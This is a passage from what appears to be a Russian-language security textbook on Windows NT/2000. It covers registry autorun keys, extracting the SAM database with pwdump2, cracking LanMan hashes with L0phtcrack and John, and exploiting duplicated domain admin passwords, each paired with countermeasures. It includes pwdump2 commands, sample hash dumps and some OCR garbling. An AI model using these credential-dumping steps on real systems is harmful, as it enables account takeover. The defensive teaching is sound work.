При выявлении "троянских коней" могут оказаться полезными некоторые средства. К ним относятся встроенные утилиты, например dir, которая при использовании параметра /С выводит размер файлов, а при указании параметра /Т также время его создания, последнего доступа и последней модификации. Команду dir использовать гораздо лучше, чем проводник Windows, поскольку она не изменяет временные параметры файлов. Можно воспользоваться также мощными коммерческими программами защиты файловой системы, например программой Tripwire от компании Tripewire, Inc. (см. табл. 5.2). Эта программа создает для файлов зашифрованные контрольные суммы, так что с ее помощью можно выявить любые изменения.

Подсистема защиты файлов системы Win 2000 (WFP — Windows File Protection) обеспечивает хранение резервных копий около шестисот важных файлов в каталоге %windir% и предотвращает их от перезаписи.

Поскольку "троянских коней" очень трудно обнаружить (особенно те из них, которые выполняют модификацию самого ядра NT), стоит поддерживать максимальные меры предосторожности. А именно, создавайте резервные копии своих данных, переустанавливайте операционную систему и все приложения только с проверенных носителей информации. Некоторые из наиболее коварных "троянских коней", называемых наборами rootkit, будут рассмотрены ниже в данной главе.

Параметры реестра, обеспечивающие выполнение программ


Еще одним хорошим методом скрытого запуска командного файла является использование специальных значений в системном реестре NT. В зависимости от разрешений пользователя, под именем которого взломщик проник в систему, ему могут быть доступны некоторые из таких параметров системного реестра. Помните, что удаленный доступ к системному реестру могут получить только администраторы, а на консоли сервера могут зарегистрироваться лишь несколько пользователей из встроенных учетных записей NT. Поэтому вероятность того, что взломщику удастся воспользоваться описанным здесь способом, очень мала. Ему повезет только в том случае, когда используемая им учетная запись входит в группу Server Operators. В табл. 5.5 перечислены некоторые параметры системного реестра и разрешения, установленные для них по умолчанию, которыми могут воспользоваться взломщики для запуска программ.

Таблица 5.5. Параметры системного реестра, которые можно использовать для вызова программ, расширяющих привилегии пользователя

Параметр
Разрешения по умолчанию
Значение, позволяющее запуск
HKLM\SOFTWARE\Microsoft\Windows\ CurrentVersion\Run
Everyone: Set Value
[любое]
HKLMX SOFTWARE \Microsoft\Windows\ CurrentVersion \RunOnce
Server Operators: Set Value
[любое]
HKLMX SOFTWARE \Microsoft\Windows\ Cur rent Version \RunOnceEx
Everyone: Set Value
[любое]
HKLMX SOFTWARE\Microsoft\WindowsNT\ CurrentVers i on \ AeDebug
Everyone: Set Value
Debugger
HKLMX SOFTWARE\Microsoft\WindowsNT\ CurrentVer si on XWinlogon
Server Operators: Set Value
Userinit

Защита параметров системного реестра


С использованием редактора системного реестра regedt32 для этих параметров необходимо задать следующие разрешения.
 CREATOR OWNER: Full control  Administrators: Full Control  SYSTEM: Full control  Everyone: Read Подобная настройка может повлиять на работоспособность некоторых приложений. Поэтому сначала удостоверьтесь, что внесенные изменения не отразились на функциональности системы. Кроме того, не забывайте о том, что описанные выше параметры системного реестра зачастую используются для скрытого запуска приложений во время загрузки, о чем более подробно вы узнаете ниже в данной главе.

Несколько заключительных слов о расширении привилегий


Теперь у вас не вызывает сомнений тот факт, что расширить привилегии чрезвычайно сложно. Единственное, что может помочь взломщику, — это грубые ошибки в настройке системы или же получение доступа к учетной записи, которая и так обладает достаточно высокими привилегиями (например, является членом группы Server Operators). Далее мы рассмотрим самый худший (с точки зрения безопасности) сценарий -— взломщик получил доступ к системе на уровне администратора.

Расширение привилегий

У вас может возникнуть вопрос: "Стоит ли читать, что может произойти, когда кто-то получит права администратора на моем компьютере? И так все ясно!" Не спешите с выводами — отформатировать жесткий диск и переустановить систему с установочных дисков вы всегда успеете. Гораздо важнее попытаться установить, какие ресурсы были использованы взломщиком и как далеко ему удалось продвинуться. Взломщик мог назначить привилегии администратора локальной системы какому-нибудь пользователю, не имеющему практически никаких прав для доступа к другим компьютерам сети. Поэтому ему, скорее всего, понадобится установить в сети дополнительные средства, с помощью которых он мог бы расширить свои полномочия. Выявить взломщика на этом этапе и остановить его проникновение не только возможно, но и жизненно необходимо. В данном разделе вы найдете подробное описание некоторых основных средств и методов, используемых в этой чрезвычайно важном "финальном поединке" взломщика и системного администратора.

Взлом базы данных SAM


Получив привилегии администратора, взломщик, скорее всего, сразу же направится к диспетчеру SAM системы NT (SAM — Security Accounts Manager). В базе данных SAM содержатся имена и зашифрованные пароли всех пользователей локального узла или домена, если взламываемая система является контроллером. Поэтому данные SAM — наиболее вожделенная цель для нанесения завершающего удара, подобная файлу /etc/passwd из мира UNIX. Даже если база данных SAM получена с автономной станции NT, существует шанс получения с ее помощью доступа к контроллеру домена. Таким образом, взлом диспетчера SAM — это один из наиболее мощных методов расширения привилегий и использования доверительных отношений.
Стоп, скажет внимательный читатель, а как же зашифрованные пароли? Неужели шифрование не сможет свести на нет все попытки хакеров? Теоретически — да, однако на практике дела обстоят не совсем так. К сожалению, для обеспечения обратной совместимости компания Microsoft значительно ослабила безопасность SAM, используя алгоритм хэширования (одностороннего шифрования), оставшийся в наследство NT от сетей Lan Manager. Хотя поддерживается и новый алгоритм NT, операционная система вынуждена хранить вместе с новым хэш-кодом и хэш-код, вычисляемый по старому алгоритму LanManager, чтобы обеспечить совместимость с клиентами Windows 9х и Windows for Workgroups. Более простой алгоритм хэширования LanManager уже давно был изучен, поэтому в большинстве случаев пароли сервера NT можно получить достаточно просто. Все зависит лишь от их длины и набора символов. Например, lOplncrack, одна из самых популярных утилит взлома файлов SAM, позволяет взломать любой буквенно-цифровой пароль за 24 часа на компьютере с процессором Pentium II 450 МГц (версия 2.5; подробнее см. http://www.10pht.com/10phtcrack). Техническое обоснование слабости подхода, применяемого при хэшировании паролей в NT, приведено по адресу http://www. l0pht.com/l0phtcrack/rant.html, а также содержится ниже в разделе "Строгие Правила Выбора Пароля" этой главы.
Утилиты взлома паролей, несмотря на кажущуюся сложность решаемой ими задачи, на самом деле не что иное, как быстрые и оптимизированные инструменты автоматизированного подбора паролей. Сначала по заданным входным данным (список слов из словаря или случайным образом генерируемые строки) и с использованием алгоритма шифрования они получают результат, а затем сравнивают его с хэш-кодом пользовательского пароля. Если оба значения совпадают, значит, пароль угадан, т.е. "взломан". Данный процесс обычно выполняется в автономном режиме с использованием перехваченного файла паролей, поэтому блокировки учетной записи в таких случаях вообще не возникает, а процесс подбора пароля может продолжаться сколь угодно долго. Как правило обработка зашифрованных данных оказывается весьма ресурсоемким процессом. Однако, как мы уже упоминали, знание тех или иных недостатков взламываемой системы, к каким, например, относится хорошо изученный алгоритм хэширования LanMan, позволяет значительно ускорить этот процесс. Таким образом, получение пароля — это лишь вопрос производительности процессора и размера словаря (некоторые примеры словарей и списков слов можно найти по адресу http://coast.cs.purdue.edu).
He хотите ли воспользоваться этими инструментами, чтобы проверить, насколько хороши выбранные вашими пользователями пароли? Что ж, тогда приступим.

Получение базы данных SAM


При осуществлении любых попыток взлома первый этап состоит в получении файла паролей, который в случае NT называется файлом данных SAM.
Система NT хранит данные SAM в файле с именем (ни за что не догадаетесь!) SAM, который содержится в каталоге %systemroot%\system32\config (во время работы операционной системы доступ к этому файлу заблокирован). Файл SAM является одним из пяти основных ульев системного реестра NT и представляет собой физическое место хранения данных из группы параметров системного реестра HKEY_LOCAL_MACHINE\SAM. Эта группа параметров недоступна для изменения, даже после регистрации в качестве администратора. (Однако, используя некоторые хитрости и службу Schedule, это все же можно осуществить. Для получения об этом более подробной информации читайте раздел "Аудит Доступа К Базе Данных SAM?" ниже в этой главе).
Существует четыре способа получения данных SAM: перезагрузка компьютера с помощью дискеты с альтернативной операционной системой и последующее копирование файла SAM на съемный носитель; копирование резервной копии файла SAM, созданной утилитой восстановления системы NT; извлечение хэшированных паролей непосредственно из SAM. Четвертый метод основывается на перехвате данных об именах пользователей и паролях, передаваемых по сети (такой подход уже рассматривался в разделе "Перехват паролей, передаваемых по сети" выше в этой главе).

Перезагрузка с помощью альтернативной операционной системы


Для того чтобы перезагрузиться с использованием другой операционной системы, достаточно подготовить системную дискету с DOS. Если на жестком диске интересующего вас компьютера установлена файловая система NTFS, то на эту дискету необходимо поместить соответствующий драйвер NTFS, называемый NTFSDOS, от компании Systems Internals (http://www.sysinternals.com/). С помощью этого драйвера все разделы NTFS будут смонтированы в качестве логических дисков DOS, после чего не останется никаких препятствий для копирования файла SAM.

Извлечение резервной копии файла SАМ из каталога Repair


При каждом запуске утилиты NT Repair Disk Utility (rdisk) с параметром /s, который активизирует режим резервного копирования важной системной информации, создается сжатая версия базы данных SAM, которая помещается в каталог %systemroot%\repair под именем Sam._. После завершения копирования важных данных на аварийную дискету многие системные администраторы не утруждают себя задачей удаления этого файла.
Для того чтобы воспользоваться сжатым файлом Sam._, его нужно сначала распаковать, как показано в следующем примере. (Последняя версия утилиты L0phtcrack позволяет выполнить эту операцию автоматически после выбора команды import.)

С:\>expand sam._sam
Microsoft (R) File Expansion Utility Version 2.50
Copyright (C) Microsoft Corp 1990-1994.
All rights reserved.
Expanding sam._ to sam.
sam._: 4545 bytes expanded to
16384 bytes, 260% increase.

Извлечение хэш-кодов из данных SAM


При наличии привилегий администратора кэш-коды паролей можно легко получить непосредственно из системного реестра в формате, подобном формату файла /etc/passwd UNIX. Для этого можно воспользоваться утилитой pwdump, написанной Джереми Аллисоном (Jeremy Allison). Исходный код этой утилиты и ее откомпилированные версии для Windows можно найти в архивах Internet. Новые версии утилиты LOphtcrack также имеют подобное встроенное средство. Однако ни pwdump, ни LOphtcrack не способны преодолеть расширенное шифрование файла SAM с использованием ключа SYSKEY, появившееся после выпуска сервисного пакета Service Pack 2 (для получения более подробной информации читайте раздел "Контрмеры: Защита От Взлома Пароля" ниже в этой главе).
Более поздняя версия утилиты pwdump, написанная Тоддом Сабином (Todd Sabin) и названная pwdump2 (http://razor.bindview.com/tools/desc/pwdump2_readme.html), может обойти SYSKEY-защиту. Работа pwdump2 основана на внедрении библиотеки DLL (см. выше описание утилиты getadmin), посредством чего она записывает свой код в пространство другого процесса, обладающего более высоким уровнем привилегий. После этого внедренный код вызывает внутренние функции интерфейса API, с помощью которых утилита получает доступ к зашифрованным паролям, минуя необходимость их расшифровки.
В отличие от pwdump утилита pwdump2 должна запускаться в пространстве процессов взламываемой системы. Причем в данном случае по-прежнему требуется процесс с привилегиями администратора, а также библиотека samdump.DLL (которая распространяется вместе с pwdump2).
Привилегированный процесс, используемый утилитой pwdump2,— это процесс lsass.exe подсистемы защиты (Local Security Authority Subsystem — LSASS). Утилита внедряет свой код в адресное пространство и пользовательский контекст процесса lsass.exe. Однако перед запуском утилиты необходимо вручную получить идентификатор процесса (PID — Process ID).

Тодд Сабин написал обновленную версию утилиты pwdump2, после установки которой идентификатор РЮ процесса LSASS можно получить автоматически. Поэтому пользователям обновленной версии выполнять этот шаг вручную не требуется. Однако сейчас мы сосредоточимся на обсуждении основной концепции получения идентификаторов процессов, которую потребуется использовать в тех случаях, когда обновленная версия утилиты pwdump2 отсутствует.

Воспользуемся утилитой pulist из NTRK и, объединив ее с утилитой find, получим идентификатор процесса lsass.exe, как показано в следующем примере.

D:\>pulist | find "lsass"
lsass.exe 50 NT AUTHORITYXSYSTEM

Теперь можно запустить утилиту pwdump2, передав ей в качестве параметра полученный идентификатор PID 50. По умолчанию результаты выводятся на экран (в приведенном выше примере они показаны в сокращенной форме), однако их легко перенаправить в файл. Пом-
ните, что pwdump2 должна выполняться локально на удаленной системе. В противном случае вы получите дамп собственных паролей! Обсуждение методов удаленного запуска программ содержится ниже в разделе "Удаленное Управление И Потайные Ходы" данной главы.

D:\>pwdump2 50
A. Nonymous:1039:e52cac67419a9a22
4a3bl08f3fa6cb6d:8846f7eaee8fbll7..
ACMEPDC1$:1000: 922bb2aaaObc07334d9al
60a08db3a33 : d2ad2ce86a7d90f d62..
Administrator: 500:48b48ef 5635d97b6f 513f
7c84b50c317 : 8a6a398a2d8c84f..
Guest:501:aOel50c75al7008eaad3b435b51404ee:
823893adfad2cda6ela414f..
IUSR_ACMEPDC1:1001:cabf272ad9e04b24af3
f5fe8cOf 05078:e6f 37a4 69ca3f8..
IWAM_ACMEPDC1: 1038:3d5c22dObal7f25c2eb
8a6e701182677:d96bf5d98ec992..

Из данного примера видно, что выводятся такие поля, как имя пользователя, относительный идентификатор RID (см. главу 3), хэш-код LanMan и кэш-код NT I последний выведен только частично). Все поля отделяются друг от друга двоеточием. Направив вывод в файл, можно получить готовые исходные данные для многих средств взлома паролей системы NT.

Самая последняя версия утилиты pwdump2 позволяет также извлекать хэш-коды из базы данных активного каталога.

Перехват данных о пользовательских именах и паролях, передаваемых по сети


Одной из сильных сторон утилиты LOphtcrack является возможность извлекать \эш-коды паролей прямо из SMB-пакетов, передаваемых по сети. Этот подход уже рассматривался в одном из предыдущих разделов, посвященных подбору паролей.
Поскольку утилита LOphtcrack способна выполнить большую часть из описанных выше задач, давайте перейдем к обсуждению подробностей того, как это осуществить.

Взлом паролей NT


В данном разделе вы познакомитесь с тремя утилитами, предназначенными для взлома паролей системы NT. Хотя наиболее известной является утилита L0phtcrack, здесь мы рассмотрим и некоторые другие средства.

L0phtcrack


Версию утилиты L0phtcrack с графическим интерфейсом, распространяемую исследовательской лабораторией компании ©stake по цене S100, можно найти по адресу http://www.atstake.com. Для сохранения душевного покоя системного администратора это совсем недорого. Во время написания этой книги была выпущена бета-версия 3 утилиты L0phtcrack — первое существенное обновление программы за последние два года.
Как уже упоминалось, утилита L0phtcrack может импортировать данные SAM из нескольких источников: из самого файла SAM, из его резервной копии SAM._, с удаленного компьютера (используя привилегии администратора и встроенную функцию, работающую по принципу утилиты pwdump), а также непосредственно из потока данных, передаваемых по сети. Ниже показано простое диалоговое окно утилиты, используемой для получения хэш-кодов паролей. Как видно из рисунка, требуется просто ввести IP-адрес взламываемой системы.
Еще раз обращаем ваше внимание на то, что встроенная утилита последней (на момент написания данной книги) версии L0phtcrack не обладает возможностью взлома расширенного SYSKEY-шифрования базы данных SAM (см. ниже раздел "Шифрование Syskey"). Поэтому, если на взламываемой системе используется SYSKEY-шифрование, необходимо пользоваться описанной выше утилитой pwd'jzr\p2.
Затем с помощью команды File>Open Wordlist File нужно указать используемый файл словаря (обширный словарь, содержащий часто употребляемые в качестве пароля слова английского языка, распространяется вместе с утилитой). И наконец, с помощью команды Tools>Options нужно установить некоторые параметры. Для взлома пароля путем перебора необходимо установить флажок Enabled, находящийся в группе параметров Brute Force Attack диалогового окна Tools Options. Затем нужно выбрать предполагаемый набор символов, из которого будут генерироваться пароли (чем больше набор, тем дольше придется перебирать все возможные комбинации). Утилита L0phtcrack сначала попытается подобрать пароль с помощью словаря и лишь после этого перейдет к перебору всех возможных вариантов. Прерванный сеанс подбора пароля можно продолжить позже с того же места, в котором произошла остановка. Поэтому в общем случае вопрос продолжительности работы не является критичным. Поддерживается также компромиссный режим Dictionary/Brute Hybrid, при использовании которого метод подбора пароля из словаря объединяется с перебором всех возможных вариантов. Действительно, учитывая, что многие пользователи выбирают пароли вида password!23, не утруждая себя задачей запоминания сложного пароля, имеет смысл попробовать применить в качестве пароля слова, содержащиеся в словаре, с добавлением к ним заданного количества символов. Пример выбора параметров в окне Tools Options показан на следующем рисунке.
Теперь просто выберите команду Tools>Run Crack, и утилита L0phtcrack возьмется за дело. В файле SAM, полученном из большого домена NT, практически всегда удается обнаружить нулевой пароль или слова из словаря (рис. 5.6). Кроме того, из данного рисунка видно, с какой легкостью угадываются пароли LanMan, что делает более надежную защиту с помощью алгоритма хэширования NT неэффективной. Даже в тех случаях, когда некоторые пароли остаются неразгаданными (как, например, пароль пользователя Malta), алгоритм LanMan позволяет узнать два последних символа таких паролей. Этого вполне достаточно, чтобы в течение суток подобрать остальные 7 символов, при условии, что пароль состоит лишь из букв и цифр.


Текущее состояние процесса подбора пароля можно в любой момент сохранить в файле с расширением .1с. Поэтому работа утилиты L0phtcrack может быть безболезненно прекращена, а затем возобновлена с того же места с помощью команды File>Open Password File.
Утилита L0phtcrack с графическим пользовательским интерфейсом является лучшим средством взлома файла паролей системы NT из всех имеющихся на рынке как по скорости работы, так и по простоте использования. Однако имеется и один недостаток: наличие графического интерфейса не позволяет использовать эту утилиту в сценариях и командных файлах. Для применения в командной строке на Web-узле http://www.atstake.com можно найти лишь устаревшую версию 1.5 (lc_cli.exe), которая распространяется вместе с исходным кодом. Так что, если говорить об утилитах взлома паролей, использующих интерфейс командной строки, лучше обратить внимание на продукты других разработчиков.




Рис. 5.6. Утилита L0phtcrack за работой. Менее надежные пароли LanMan взломать гораздо легче, что делает ненужным подбор хорошо защищенных паролей NT

John-потрошитель


John — это программа взлома паролей с использованием словаря. Ее можно получить по адресу http://www.false.com. Первоначально эта утилита командной строки была создана для взлома файлов паролей системы UNIX, а теперь ее можно использовать для подбора хэш-кодов LanMan системы Windows NT. Помимо того, что John совместима с несколькими платформами и позволяет применять несколько разных алгоритмов шифрования, эта утилита отличается также высокой скоростью работы и тем, что распространяется бесплатно. С другой стороны, ее широкие возможности и, соответственно, большой набор параметров командной строки, делают эту утилиту более сложной в освоении, чем L0phtcrack. Кроме того, поскольку утилита John может взламывать лишь пароли LanMan, то полученные результаты необходимо проверять на соответствие прописных и строчных букв (пароли LanMan всегда переводятся в верхний регистр, тогда как в паролях NT используются как прописные, так и строчные буквы).

Crack 5 с расширением для NT


Утилита crack, написанная Алеком Маффетом (Alec Muffet), изначально предназначалась для взлома файлов паролей системы UNIX. Однако со временем для нее было создано расширение, которое позволило использовать эту утилиту и для взлома паролей NT (http://www.sun.rhbnc.ac.uk/~phacl07/c50a-nt-0.20.tgz). Самое большое преимущество использования утилиты crack состоит в очень широком разнообразии проверяемых ею вариаций возможных паролей (включая более 200 вариантов, основанных на имени пользователя). Однако все преимущества утилиты crack будут сведены на нет, если у вас отсутствует опыт работы в системе UNIX, необходимый для ее установки и запуска.

Контрмеры: защита от взлома пароля


Строгие правила выбора пароля


Никакие технические средства не смогут обеспечить гарантированную защиту от взлома пароля. Они необходимы для создания эффективной защиты, но одних лишь технических средств недостаточно. Самым эффективным и вместе с тем трудно реализуемым средством был и остается правильный выбор пароля. Пользователи, выбирающие легко угадываемые пароли или записывающие их на обратной стороне клавиатуры, по-видимому, еще долго будут оставаться источником головной боли администраторов. Надеемся, что приведенное ниже описание некоторых скрытых недостатков, имеющихся в алгоритмах защиты паролей NT, сможет помочь вам в разъяснении пользователям необходимости строгого соблюдения ваших требований.
Как мы уже неоднократно упоминали, в системе NT применяется два разных алгоритма шифрования пользовательских паролей: совместимый с LanManager (LMH — LanManager Hash) и созданный специально для NT (NTH — NT Hash) . Оба представления зашифрованного с помощью этих алгоритмов пароля хранятся в базе данных SAM. Как уже упоминалось, значение LMH вычисляется с помощью алгоритма, имеющего внутренние недостатки (в данном случае не стоит ругать Microsoft — алгоритм LanManager изначально был разработан компанией IBM).
Самым большим недостатком алгоритма LMH является разделение пароля на две части, каждая из которых состоит из семи символов. Другими словами, пароль, имеющий длину 8 символов разделяется на два пароля, первый из которых состоит из 7 символов, а второй — из 1 символа. Подобные утилите L0phtcrack средства используют этот недостаток, проверяя одновременно обе половины пароля именно так, как если бы они были независимыми друг от друга паролями. Рассмотрим, например, 12-символьный пароль, который полностью соответствует требованиям библиотеки Passfilt — l23456Qwerty. Во-первых, когда пароль шифруется по алгоритму LM, его символы преобразуются в верхний регистр— 123456QWERTY. Затем к паролю добавляются нулевые символы (т.е. символы с кодом 0, чтобы получить строку, состоящую из 14 символов): 123456QWERTY_. Перед шифрованием эта строка делится на две части — 123456Q и WERTY_. После этого каждая строка шифруется независимо от другой, а полученные результаты объединяются. Зашифрованное значение ДЛЯ 123456Q — 6BF11E04AFAB197F, а ДЛЯ WERTY_— 1E9FFDCC75-575В15. Таким образом, полученный в результате хэш-код будет иметь следующее значение: 6BF11E04AFAB197F1E9FFDCC75575B15.
Поскольку первая половина пароля, представленного хэш-кодом, содержит и буквы, и цифры, то на ее взлом путем перебора всех возможных вариантов с помощью утилиты L0phtcrack уйдут сутки или около того, в зависимости от вычислительной мощности используемого компьютера. Однако вторая половина пароля содержит только символы, поэтому на ее взлом понадобится всего лишь 60 секунд при использовании компьютера с процессором Pentium. На рис. 5.7 показано, как за считанные секунды с использованием утилиты L0phtcrack была взломана вторая половина пароля пользователя waldo (полный пароль —строка 123456qwerty).
Каждая взломанная половина пароля отображается в соответствующей строке окна утилиты LOphtcrack. В рассматриваемом примере была идентифицирована вторая половина пароля пользователя waldo. Теперь можно сделать некоторые предположения о том, какой может быть первая половина пароля. Строка WERTY говорит о том, что в качестве пароля пользователь выбрал символы из верхнего ряда клавиш клавиатуры. Следовательно, имеет смысл проверить такие пароли, как QWERTYQWERTY, POIUYTQWERTY, ASDFGHQWERTY, YTREWQQWERTY И, наконец, 123456QWERTY. Эти варианты можно добавить в словарь, подготовленный для утилиты LOphtcrack, а затем приступить к очередному штурму. Менее чем через 5 секунд в окне LOphtcrack появляются и пароль LanMan, и пароль NT, как показано на рис. 5.8.



Рис. 5.7. Утилита L0phtcrack взломала половину пароля пользователя waldo менее чем за минуту на компьютере с процессором Pentium



Рис. 5.8. Утилита L0phtcrack с помощью обновленного словаря справилась с подбором правильного пароля за считанные секунды

Данный пример наглядно демонстрирует, как относительно просто угадать казалось бы довольно сложный пароль LMH, зная его вторую половину. Таким образом, мы получаем парадокс: при данном подходе 12- и 13-символьные пароли могут оказаться менее надежными, чем 7-символьные, так как взломщик, зная вторую половину длинного пароля, может догадаться о том, из каких символов состоит первая половина, как это было показано в рассмотренном примере. Пароль, состоящий из восьми символов, вряд ли даст взломщику много информации, однако он, пусть только теоретически, не столь надежен, как 7-символьный пароль.
Для снижения вероятности успешного взлома выбирайте пароли в точности длиной 7 или 14 символов. (Не забывайте, что длинные 14-символьные пароли пользователи, скорее всего, будут записывать и держать эти записи под рукой. Поэтому предпочтительнее использовать 7-символьные пароли.)
Если же вы хотите поставить в тупик взломщика, вооруженного утилитой L0phtcrack, используйте в каждой половине пароля хотя бы один управляющий символ ASCII. Такие символы (например, символы с кодом 255 или 129) не отображаются на экране утилитой L0phtcrack. Конечно, ежедневный ввод таких паролей, требующих дополнительных нажатий клавиш для ввода символа по его коду (<Аlt>+код символа на цифровой вспомогательной клавиатуре в режиме <NumLock>), связан с некоторым неудобством и, по-видимому, будет использоваться только профессиональными пользователями, имеющими широкие полномочия по администрированию рабочих групп и учетных записей обычных пользователей. Что касается администраторов, то для них использование в паролях как можно большего количества неотображаемых символов должно стать обыденной практикой.
Наконец, не забывайте о необходимости установить с помощью библиотеки Passfilt минимальную длину пароля, как это описано в приведенном выше разделе "Контрмеры: Защита От Подбора Пароля".

Защита базы данных SAM


Ограничение доступа к файлу SAM — это также один из важнейших методов зашиты. Физическое ограничение доступа к серверу является единственным методом воспрепятствовать злоумышленнику скопировать файл SAM, загрузившись с дискеты, или скопировать резервную копию этого файла из папки Repair. Надеемся, что о том, чтобы контролировать все случаи регистрации на сервере под именем Administrator, напоминать не нужно.

Шифрование SYSKEY


Расширенное SYSKEY-шифрование данных SAM было разработано вскоре после выхода сервисного пакета Service Pack 2. Такой алгоритм позволяет установить шифрование паролей с помощью 128-битового ключа (по умолчанию используется 40-битовый ключ). Для включения режима шифрования необходимо выбрать команду Starts Run и ввести в поле ввода появившегося диалогового окна Run команду syskey. Режим шифрования SYSKEY можно настроить с использованием нескольких основных параметров, как показано на следующих двух рисунках.


При включении режима SYSKEY ключ шифрования паролей, в свою очередь, кодируется с помощью системного ключа, который может храниться как локально (защищенный паролем), так и на гибком диске. Если вы чрезвычайно обеспокоены обеспечением безопасности, выберите второй вариант, но учтите при этом, что в большой сети это потребует дополнительных затрат на сохранение всех ключей на гибких дисках. Кроме того, как мы увидим несколько позже, существуют средства, позволяющие обойти и режим шифрования SYSKEY. Однако даже небольшой барьер, оказавшийся на пути взломщика, повышает безопасность сети. По крайней мере злоумышленнику придется хорошо потрудиться, чтобы взломать пароли.

Группа исследователей RAZOR обнаружила изъян в реализации алгоритма шифрования SYSKEY, описание которого можно найти по адресу http://razor.-bindvi6w.com/publish/advisories/adv_WinNT_syskey.htinl. Если вы решили воспользоваться этим алгоритмом, то установите также модуль обновления, который можно получить по адресу http://wvw.microsoft.com/teohnet/ security/bulletin/ms99-056.asp.

Если взломщики имеют безнадзорный физический доступ к компьютеру с системой NT/2000, то они без проблем могут загрузиться с использованием другой операционной системы и аннулировать пароль учетной записи администратора, удалив файл SAM, либо добавить пароль для любой имеющейся учетной записи. Этот прием позволяет полностью обойти алгоритм шифрования SYSKEY. Лишь при использовании режима защиты с использованием пароля или при хранении системного ключа на гибком диске можно несколько повысить уровень защиты. Более подробная информация по этому вопросу содержится в разделе главы 6, который посвящен утилите chntpw.

Аудит доступа к базе данных SAM


Зачастую бывает довольно трудно выявить факт извлечения информации о паролях с вашего узла NT. Одной из возможностей, призванных помочь в решении этой проблемы, является аудит системы NT, обеспечивающий наблюдение за доступом к параметрам реестра, связанных с SAM. Однако на практике это средство мало что может сделать, поскольку к этим параметрам имеют доступ очень многие служебные процессы (например, диспетчер пользователей). Но несмотря на то, что само по себе решение не очень хорошее, некоторые технические аспекты настройки контроля доступа к SAM заслуживают внимания.
Прежде всего, убедитесь, что в диспетчере пользователей установлен флажок Success для событий File and Object Access (Policies^Audit). Затем нужно включить режим контроля доступа к определенным параметрам системного реестра. К сожалению, параметры, которые необходимо контролировать, недоступны ни простому пользователю, ни даже администратору. Для обхода данного ограничения нужно открыть окно редактора системного реестра, воспользовавшись контекстом учетной записи Local System.
Запустите агигст Services панели управления, а затем в появившемся диалоговом окне выберите службу Schedule (на рабочей станции — Task Scheduler). Щелкните на кнопке Startup и в открывшемся окне свойств установите режим System Account, а также Флажок Allow Service to Interact with Desktop. Затем введите в командной строке следующую ком;нпу soon regedt32 /I
Утилита soon, входящая в состав NTRK, предназначена для взаимодействия с командой AT и запуска той или иной программы в текущий момент. Параметр , : npri писывает запускаемой программе (в данном случае редактору системного peecn.w), выполняться в интерактивном режиме.
Сразу же после выполнения команды будет открыто окно редактора системного реестра. Однако на этот раз параметры SAM и Security станут доступными обычному пользователю. Будьте очень осторожны при работе с этими параметрами — даже минимальные изменения могут нарушить нормальное функционирование операционной системы вашего компьютера.' Найдите параметр HKLM/Security/SAM/Domains/Account/Users и щелкните на нем, а затем выберите из меню команду Security ^Auditing. Установите параметр Audit Permissions on Existing Subkeys, а затем щелкните на кнопке Add и добавьте учетную запись SYSTEM. Наконец, для события Query Value установите режим Success, a затем щелкните на кнопке ОК. Выйдите из редактора системного реестра и убедитесь в том, что служба Schedule отключена. Теперь можно контролировать доступ к параметрам реестра, осуществляемый, например, с помощью утилиты pwdump.
Вскоре журнал безопасности будет заполнен сообщениями с идентификаторами 560 и 562, которые связаны с обращением к параметрам SAM. При аудите сложнее всего выбрать среди многочисленных записей те. которые связаны с получением информации о диспетчере SAM с помощью различных утилит семейства pwdump, поскольку с точки зрения системы между такими событиями и событиями, связанными с легитимным доступом к параметрам SAM, нет никакой разницы. Кроме того, журнал, в который будут заносится все соответствующие операции, очень быстро достигнет чудовищных размеров, а регистрация событий повлечет за собой дополнительный расход ресурсов. Более эффективный метод решения данной проблемы, по-видимому, состоит в отслеживании вызовов утилиты pwdump на уровне интерфейса API. Однако пока данная задача не реализована на практике, контроль доступа к параметрам SAM остается хоть и низкоэффективным, но все же единственным средством.



Использование доверительных отношений

Для того чтобы "получить в свое распоряжение" домен, недостаточно обладать правами администратора на одном из компьютеров сети. Фактически в больших сетях многие серверы NT являются независимыми серверами приложений (т.е. компьютерами, которые используются конечными пользователями, но работающие под управлением операционной системы Windows NT Server, а не NT Workstation), а не контроллерами доменов, на которых хранятся копии базы данных SAM домена. Однако в распоряжении взломщика имеется несколько способов получения информации от автономного сервера, на основании которой можно получить доступ ко всему домену.

Дублирование данных учетных записей администраторов домена и локальной системы


Самым простым методом проникновения является использование довольно распространенной порочной практики администрирования, заключающейся в хранении данных о пользователях домена на отдельных компьютерах, работающих под управлением NT Server или Workstation. В идеальной ситуации никто не должен обладать правом регистрации на рабочей станции NT как Local Administrator с тем же паролем, что и Domain Admin. To же самое относится и к созданию локальной учетной записи с теми же пользовательским именем и паролем, которые используются в учетной записи на уровне домена. Однако в реальности такая практика является, скорее, правилом, а не исключением. Подобный один-единственный изъян в системе защиты может привести к созданию "лазеек" для проникновения в домен NT, с чем нам не раз приходилось сталкиваться при тестировании различных сетей.
Например, допустим, что разозлившийся на руководство служащий обнаружил в домене тестовый сервер, позволяющий зарегистрироваться на нем в качестве локального администратора с пустым паролем. Сам по себе этот факт еще ничего не означает, поскольку пользователь не сможет получить доступ к домену, потому что привилегии локальной учетной записи не распространяются на домен. Однако если администратор этого тестового сервера создал на нем учетную запись, которая дублирует его учетную запись на уровне домена (как правило, это делается для того, чтобы упростить доступ к ресурсам домена, необходимым для тестирования), взломщик без каких-либо проблем получит дамп SAM из реестра, как было показано в предыдущем разделе, и взломает пароль администратора домена. После этого он без труда зарегистрируется на контроллере домена с привилегиями системного администратора — и все это, лишь воспользовавшись данными учетной записи Domain Admin.
К сожалению, такие ситуации встречаются гораздо чаще, чем хотелось бы. Чтобы исправить положение, необходимо проверить, не имеют ли место в вашей сети следующие факты.
 Пароли локальных учетных записей Administrator совпадают с паролями членов группы Domain Admins.  Пароли и пользовательские имена локальных учетных записей совпадают с паролями и пользовательскими именами учетных записей домена (особенное внимание необходимо уделить учетным записям, которые входят в группу Domain Admins).  В полях комментария указана информация, которая может послужить подсказкой для получения данных о пароле домена, например: "Пароль такой же, как и у администратора на SERVER1".

Контрмеры против дублирования данных учетных записей


